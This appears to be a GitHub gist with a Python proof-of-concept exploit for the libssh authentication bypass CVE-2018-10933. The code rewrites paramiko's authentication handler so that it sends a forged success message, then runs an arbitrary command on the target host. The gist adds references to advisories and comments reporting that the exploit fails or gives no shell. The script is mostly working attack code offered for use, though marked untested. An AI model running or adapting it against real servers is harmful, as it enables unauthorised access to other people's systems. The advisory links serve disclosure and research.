CVE-2018-10933-test

#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933 

'''
# fixed -  test by thinkycx and  
Traceback (most recent call last):
  File "10933.py", line 12, in <module>
    new_auth_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_SUCCESS]
TypeError: 'property' object has no attribute '__getitem__'

pip install paramiko==2.0.8
'''

import sys, paramiko
import logging

username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]

new_auth_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_USERAUTH_SUCCESS]

def auth_accept(*args, **kwargs):
    return new_auth_accept(*args, **kwargs)

paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_USERAUTH_REQUEST: auth_accept,
})

port = 22
try:
    logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.WarningPolicy)
    client.connect(hostname, port=port, username=username, password="", pkey=None, key_filename="fake.key")
    stdin, stdout, stderr = client.exec_command(command)
    print stdout.read(),
finally:
    client.close()

Note

OpenSSH/Development which includes for libssh the following statement : "... libssh is an independent project ..."

Github: We use a custom version of libssh; SSH2_MSG_USERAUTH_SUCCESS with libssh server is not relied upon for pubkey-based auth, which is what we use the library for. Patches have been applied out of an abundance of caution, but GHE was never vulnerable to CVE-2018-10933.

ref

• official https://www.libssh.org/security/advisories/CVE-2018-10933.txt
• https://security.stackexchange.com/questions/195834/cve-2018-10933-bypass-ssh-authentication-libssh-vulnerability
• https://twitter.com/GitHubSecurity/status/1052358402842746880

It not work guy

It not work guy

Hello，maybe it‘s difficult to get shell . You can only see that your channel session is auth success.

For more info, see here with google translation.

• https://0x48.pw/2018/10/19/0x49/
• https://thinkycx.me/posts/2018-10-21-CVE-2018-10933-libssh-auth-bypass-analysis.html